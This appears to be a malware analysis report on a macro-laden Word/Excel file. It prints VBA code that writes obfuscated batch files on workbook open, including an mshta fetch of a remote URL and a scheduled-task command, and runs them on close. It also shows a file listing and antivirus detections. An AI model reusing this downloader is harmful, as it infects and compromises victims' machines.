   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
[Content_Types].xml
>HkJ2,
*w=a)]
_rels/.rels
word/document.xml
<$oip
'#DN!S
$gfjcP
word/_rels/document.xml.rels
X2xN> 56
jk;kk{D:p
word/media/image1.wmf
8AV:]E
mmVg6W
word/embeddings/Microsoft_Excel_97-2003_Worksheet.xls
1<S[8B
L\XZuu
)ALT=,-,|
=zT\L[
ZKQ0wX
\[1"d|i
OROe'lTz
KM?9y
'G,;1o
)7en]?
%ww.xF>
Ad@(d
2z]@O*
tuzQQRq
14!8!I
<4TW{y
@^x>/|
VSCO*qG
~}.*H#
M/_a|
*6`ohQ
/JTN2$
,j-w*W
]8x|&G
word/embeddings/Microsoft_Excel_97-2003_Worksheet1.xls
@b[;1t4{
plimALD=,
sFe1~\k
gnK(<yTq*E})"?
1 c_V#
\v:Fv<
^S$7NN
RU2{fQz
'&sal?W0
TZ~F\.M
1WGZ4o
L)v'S@
qIy5aNz
a=0XQT\
}`"46R
word/embeddings/Microsoft_Excel_97-2003_Worksheet2.xls
`b/QcK
3ewvvv
JOO/w/w
k>[izc
LwW:p$*
Y[S#hA*
QfZ WZ+
.&W^\%
8PPnN&w
yt75&Y
L[>2xBI
9zmqy
'F4QO#
{Z__tQ
\v:Zv<
0iJ$}!
uZaabQ
1$>(>Q
?4)7k
E{,'|h)
.Dlj Q
E*$e+.Z
0FbqCbs&
;[6~[8
?0<y=d
pHIET-
word/embeddings/Microsoft_Excel_97-2003_Worksheet3.xls
WE!@P4
1"K[4R
veWSScWv|
M[l~T+.
i\x .
'I9F.ff
nfw^\%
8XPn.fO
t?.0ni
{G&]Xv
Sa7Caex
1;0r;,
l6AnFS
PEFOi4
WiqyWCJa
DN}-R(
*<o'<7%,
rt7rKN
;]8v<E
v`v.oP
7G7|*{5
Zef6W/
x$xIRx-
word/embeddings/Microsoft_Excel_97-2003_Worksheet4.xls
WE!@P4
1"K[4R
veWSScWv|
M[l~T+.
i\x .
'I9F.ff
nfw^\%
8XPn.fO
t?.0ni
{G&]Xv
Sa7Caex
1;0r;,
l6AnFS
PEFOi4
WiqyWCJa
DN}-R(
*<o'<7%,
rt7rKN
;]8v<E
v`v.oP
7G7|*{5
Zef6W/
x$xIRx-
word/embeddings/Microsoft_Excel_97-2003_Worksheet5.xls
WE!@P4
1"K[4R
veWSScWv|
M[l~T+.
i\x .
'I9F.ff
nfw^\%
8XPn.fO
t?.0ni
{G&]Xv
Sa7Caex
1;0r;,
l6AnFS
PEFOi4
WiqyWCJa
DN}-R(
*<o'<7%,
rt7rKN
;]8v<E
v`v.oP
7G7|*{5
Zef6W/
x$xIRx-
word/embeddings/Microsoft_Excel_97-2003_Worksheet6.xls
WE!@P4
1"K[4R
veWSScWv|
M[l~T+.
i\x .
'I9F.ff
nfw^\%
8XPn.fO
t?.0ni
{G&]Xv
Sa7Caex
1;0r;,
l6AnFS
PEFOi4
WiqyWCJa
DN}-R(
*<o'<7%,
rt7rKN
;]8v<E
v`v.oP
7G7|*{5
Zef6W/
x$xIRx-
word/embeddings/Microsoft_Excel_97-2003_Worksheet7.xls
WE!@P4
*ooOO
Y[s#hA*
8}6EC*
mVFBL2
d4P[i4
SBO6[}
6QOzV=
yKO.xC
Rl"%gI
!a*SXbHb
D2@M$M
ElY<ML
tnXZ:6
**pabeE
~}/)H#
HUAZqN
/iJ/Ea
u|H !>$>*
_u}!^+
D#Q]TS
'uAM(11*
word/embeddings/Microsoft_Excel_97-2003_Worksheet8.xls
WE!@P4
)ALt=,-<b
;vL\L;
z]-j3w
pD #q&)
*}Vlq=z3)
5zQ{"t
scw.,X
?w]Uzk
=+2;|s#$
?(PL:G
$6#$aB
B8Y*eWj
|\To((
uXtnzvF
P;n&.BkF
'%KU!Mb
d2h5FM
C8:^q6`
[ZT*H3/
.Dlj Q
EQ hR#P
7r:}pn
word/embeddings/Microsoft_Excel_97-2003_Worksheet9.xls
WE!@P4
)ALt=,-<b
;vL\L;
z]-j3w
pD #q&)
*}Vlq=z3)
5zQ{"t
scw.,X
?w]Uzk
=+2;|s#$
?(PL:G
$6#$aB
B8Y*eWj
|\To((
uXtnzvF
P;n&.BkF
'%KU!Mb
d2h5FM
C8:^q6`
[ZT*H3/
.Dlj Q
EQ hR#P
7r:}pn
word/embeddings/Microsoft_Excel_97-2003_Worksheet10.xls
WE!@P4
:;OylV
eq1~B1"
i?(oq1
J[%\d $
!`EhVx
-7&$G;
NTNz-k
}{d/t{
Cgk>\^
.Ao|R{=`
>GmZFF
:,:7=;#T
vXiJ+)0h
bhqHZp
<4TWGy
RlCIv4
iC\%[C`z
#'@P*K
W9s6gQ>
Rj.`zf
)\T^DK
T/\ccB
*6`ohQ
/JTN2$
,j-w*W
]8x|&G
word/embeddings/Microsoft_Excel_97-2003_Worksheet11.xls
WE!@P4
1"K[4R
veWSScWv|
M[l~T+.
i\x .
'I9F.ff
nfw^\%
8XPn.fO
t?.0ni
{G&]Xv
Sa7Caex
1;0r;,
l6AnFS
PEFOi4
WiqyWCJa
DN}-R(
*<o'<7%,
rt7rKN
;]8v<E
v`v.oP
7G7|*{5
Zef6W/
x$xIRx-
word/theme/theme1.xml
)vi4[o
word/settings.xml
*mV_in
word/styles.xml
5MY^Ft
word/webSettings.xml
]?cv0$G
word/fontTable.xml
docProps/core.xml
docProps/app.xml
[Content_Types].xmlPK
_rels/.relsPK
word/document.xmlPK
word/_rels/document.xml.relsPK
word/media/image1.wmfPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet1.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet2.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet3.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet4.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet5.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet6.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet7.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet8.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet9.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet10.xlsPK
word/embeddings/Microsoft_Excel_97-2003_Worksheet11.xlsPK
word/theme/theme1.xmlPK
word/settings.xml
word/styles.xmlPK
word/webSettings.xmlPK
word/fontTable.xmlPK
docProps/core.xmlPK
docProps/app.xmlPK
Antivirus Signature
Bkav Clean
MicroWorld-eScan Clean
FireEye VB.Heur.Chronos.7.3D17CC43.Gen
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
AegisLab Trojan.Script.Generic.a!c
Sangfor Clean
Trustlook Clean
BitDefender VB.Heur.Chronos.7.3D17CC43.Gen
K7GW Clean
K7AntiVirus Clean
BitDefenderTheta Clean
Cyren Clean
Symantec CL.Downloader!gen87
ESET-NOD32 a variant of Generik.LEIKKZW
Baidu Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky HEUR:Trojan-Downloader.Script.Generic
Alibaba TrojanDownloader:VBA/Obfuscation.A
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot Clean
Rising Clean
Ad-Aware Clean
Sophos Clean
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.Downloader.cc
CMC Clean
Emsisoft VB.Heur.Chronos.7.3D17CC43.Gen (B)
SentinelOne Clean
GData VB.Heur.Chronos.7.3D17CC43.Gen (12x)
Jiangmin Clean
Avira Clean
MAX malware (ai score=82)
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Arcabit HEUR.VBA.Trojan.d
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan-Downloader.Script.Generic
Avast-Mobile Clean
Cynet Clean
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Suspicious/WOX.Obfus.Gen.8
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet VBA/Chronos.3D17!tr
Panda Clean
Qihoo-360 Clean
No IRMA results available.